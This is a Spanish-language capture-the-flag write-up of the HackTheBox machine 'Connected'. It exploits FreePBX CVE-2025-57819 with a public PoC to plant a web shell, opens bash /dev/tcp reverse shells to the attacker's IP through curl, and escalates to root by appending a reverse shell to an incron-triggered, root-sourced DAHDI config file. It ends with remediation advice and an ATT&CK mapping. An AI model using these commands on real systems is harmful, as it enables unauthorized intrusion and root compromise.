
Writeup detallado de pruebas de penetración para la máquina 'Connected' de HackTheBox, que cubre la explotación de FreePBX CVE-2025-57819 (SQLi a RCE) y la escalada de privilegios mediante la mala configuración de incron hasta root.
Connected es una máquina Linux basada en CentOS que ejecuta el sistema de comunicaciones VoIP FreePBX v16.0.40.7 integrado con Asterisk.
El flujo de explotación (Attack Vector / Kill Chain) consta de dos etapas principales:
asterisk./usr/sbin/sysadmin_dahdi_restart cuando se escribe en el archivo /var/spool/asterisk/sysadmin/dahdi_restart. Debido a que el archivo de configuración DAHDI /etc/dahdi/init.conf tiene permisos de escritura (writable) para el usuario asterisk, la inyección de un payload de reverse shell en dicho archivo de configuración se ejecuta automáticamente con privilegios de root (uid=0).El primer paso del pentesting comienza con un reconocimiento activo utilizando nmap para identificar puertos abiertos, servicios en ejecución y la versión del sistema.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Explicación de las Flags de Nmap:
-T4: Establece la plantilla de temporización agresiva para un escaneo más rápido y eficiente.-sC: Ejecuta el conjunto de scripts NSE (Nmap Scripting Engine) por defecto para la detección de vulnerabilidades básicas.-sV: Activa la detección de servicios y versiones en cada puerto que responda.-oA recon/nmap_quick: Guarda todos los formatos de salida (estándar, grepable, XML) en el directorio recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Debido a que el servidor web aplica virtual hosting y dirige el tráfico a connected.htb, necesitamos añadir la resolución del nombre de host local en /etc/hosts:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
Acceder a la URL http://connected.htb/admin/config.php a través del navegador muestra la interfaz de administración VoIP basada en web:
Desde el footer de la página web, se obtiene la información de la versión específica:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7La versión FreePBX 16.0.40.7 es vulnerable a CVE-2025-57819. Esta vulnerabilidad es una inyección SQL pre-autenticación que permite a un atacante sin credenciales (unauthenticated attacker) manipular la base de datos backend de FreePBX/Asterisk.
A través de dicha inyección SQL, el atacante puede modificar la tabla interna de cron jobs de Asterisk (asterisk.cron_jobs) o inyectar código PHP arbitrario en el directorio del servidor web (generando una Web Shell), lo que conduce a Remote Code Execution (RCE).
Utilizamos el PoC de exploit público de WatchTowr Labs:
# 1. Clonar el repositorio del exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Ejecutar el script del exploit contra el objetivo
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Resultado de la Ejecución del Exploit: El script explota con éxito el objetivo y crea una webshell activa en el endpoint:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Para obtener una sesión interactiva (reverse shell), se realizan los siguientes pasos:
Abrir un Listener de Netcat en la máquina del atacante:
nc -lvnp 1212
Enviar el Payload de Reverse Shell a través de la Web Shell:
Enviar el payload de reverse shell usando curl con el parámetro codificado en URL:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_NUESTRA>/1212 0>&1'"
Conexión Reverse Shell Recibida con Éxito:
La conexión entrante llega al listener nc y obtenemos acceso a un shell interactivo como el usuario asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
Después de obtener acceso como el usuario asterisk, el siguiente paso es realizar una enumeración interna para buscar un vector de escalada de privilegios hacia root.
incron)Examinamos la configuración del daemon incron (inotify cron table), que es el servicio que ejecuta comandos cuando ocurre un evento del sistema de archivos (como la modificación o creación de archivos):
[asterisk@connected html]$ cat /etc/incron.d/*
Salida de la Configuración de Incron:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart se cierra después de una operación de escritura (IN_CLOSE_WRITE), el sistema ejecuta automáticamente el script /usr/sbin/sysadmin_dahdi_restart con privilegios de root.Una inspección más detallada del script /usr/sbin/sysadmin_dahdi_restart muestra que el script reinicia el servicio DAHDI (Digium Asterisk Hardware Device Interface) y ejecuta/carga (source) el archivo de configuración /etc/dahdi/init.conf.
La comprobación de permisos en el archivo /etc/dahdi/init.conf muestra que dicho archivo tiene permisos de escritura (writable) para el usuario asterisk:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Debido a que /etc/dahdi/init.conf se ejecuta en el contexto de root cuando se reinicia DAHDI, podemos insertar un comando de reverse shell en dicho archivo de configuración y luego activar el reinicio a través de incron.
Abrir un Nuevo Listener en la Máquina del Atacante (Puerto 4545):
nc -lvnp 4545
Insertar la Reverse Shell en /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_NUESTRA>/4545 0>&1'" >> /etc/dahdi/init.conf
Activar el Evento Incron mediante la Escritura en el Archivo Spool:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
A los pocos segundos de que incron procese el evento de escritura del archivo, el script root ejecuta la línea de comando insertada y genera una conexión de reverse shell como root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned by ikmalhanaan 🚀
| Componente | Especificación / Descripción |
|---|
| Nombre de la Máquina | Connected |
| Sistema Operativo | Linux (CentOS / FreePBX Distro) |
| IP Objetivo | <IP_TARGET> (connected.htb) |
| IP del Atacante | <IP_VPN_NUESTRA> (Interfaz VPN tun0) |
| Vulnerabilidad Crítica | CVE-2025-57819 (FreePBX Auth Bypass y SQLi a RCE) |
| Mecanismo de PrivEsc | Hook de Incron Daemon mal configurado + /etc/dahdi/init.conf escribible |
| Herramientas Utilizadas | nmap, curl, python3, netcat (nc), bash, git |
| Vector de Debilidad | Impacto | Recomendación de Remediación / Mitigación |
|---|
| FreePBX Pre-Auth SQLi (CVE-2025-57819) | Crítico — Permite RCE sin autenticación mediante inyección en la base de datos. | Actualizar FreePBX a la versión de parche oficial más reciente de Sangoma. Aplicar validación estricta de entradas y Prepared Statements / Parameterized Queries en todos los endpoints de la API. |
Permisos de Archivo Inseguros (/etc/dahdi/init.conf) | Alto — Un usuario no autorizado (asterisk) puede modificar un archivo de configuración que es ejecutado por root. | Restringir la propiedad y los permisos de escritura del archivo de configuración: chmod 644 /etc/dahdi/init.conf y chown root:root /etc/dahdi/init.conf. |
| Ejecución Automatizada de Root mediante Incron | Medio/Alto — El script de automatización root carga archivos de configuración sin verificación de integridad. | Auditar todas las reglas de incron y los scripts /usr/sbin/sysadmin_*. Evitar el sourcing de archivos de configuración dinámicos que sean vulnerables a modificaciones por parte de usuarios no root. |
| Táctica | ID de Técnica | Nombre de la Técnica | Aplicación en la Máquina |
|---|
| Reconocimiento | T1595.002 | Active Scanning: Vulnerability Scanning | Escaneo de puertos y servicios con nmap. |
| Acceso Inicial | T1190 | Exploit Public-Facing Application | Explotación de la vulnerabilidad CVE-2025-57819 en el servidor web FreePBX. |
| Ejecución | T1059.004 | Command and Scripting Interpreter: Unix Shell | Ejecución de comandos bash de reverse shell a través de la web shell y el script init. |
| Persistencia / Escalada de Privilegios | T1053.003 | Scheduled Task/Job: Cron | Aprovechamiento del daemon incron para ejecutar tareas root automáticas. |
| Escalada de Privilegios | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Inserción de comandos maliciosos en el archivo de configuración /etc/dahdi/init.conf. |
| Acceso a Credenciales / Recopilación | T1005 | Data from Local System | Lectura de las flags user.txt y root.txt. |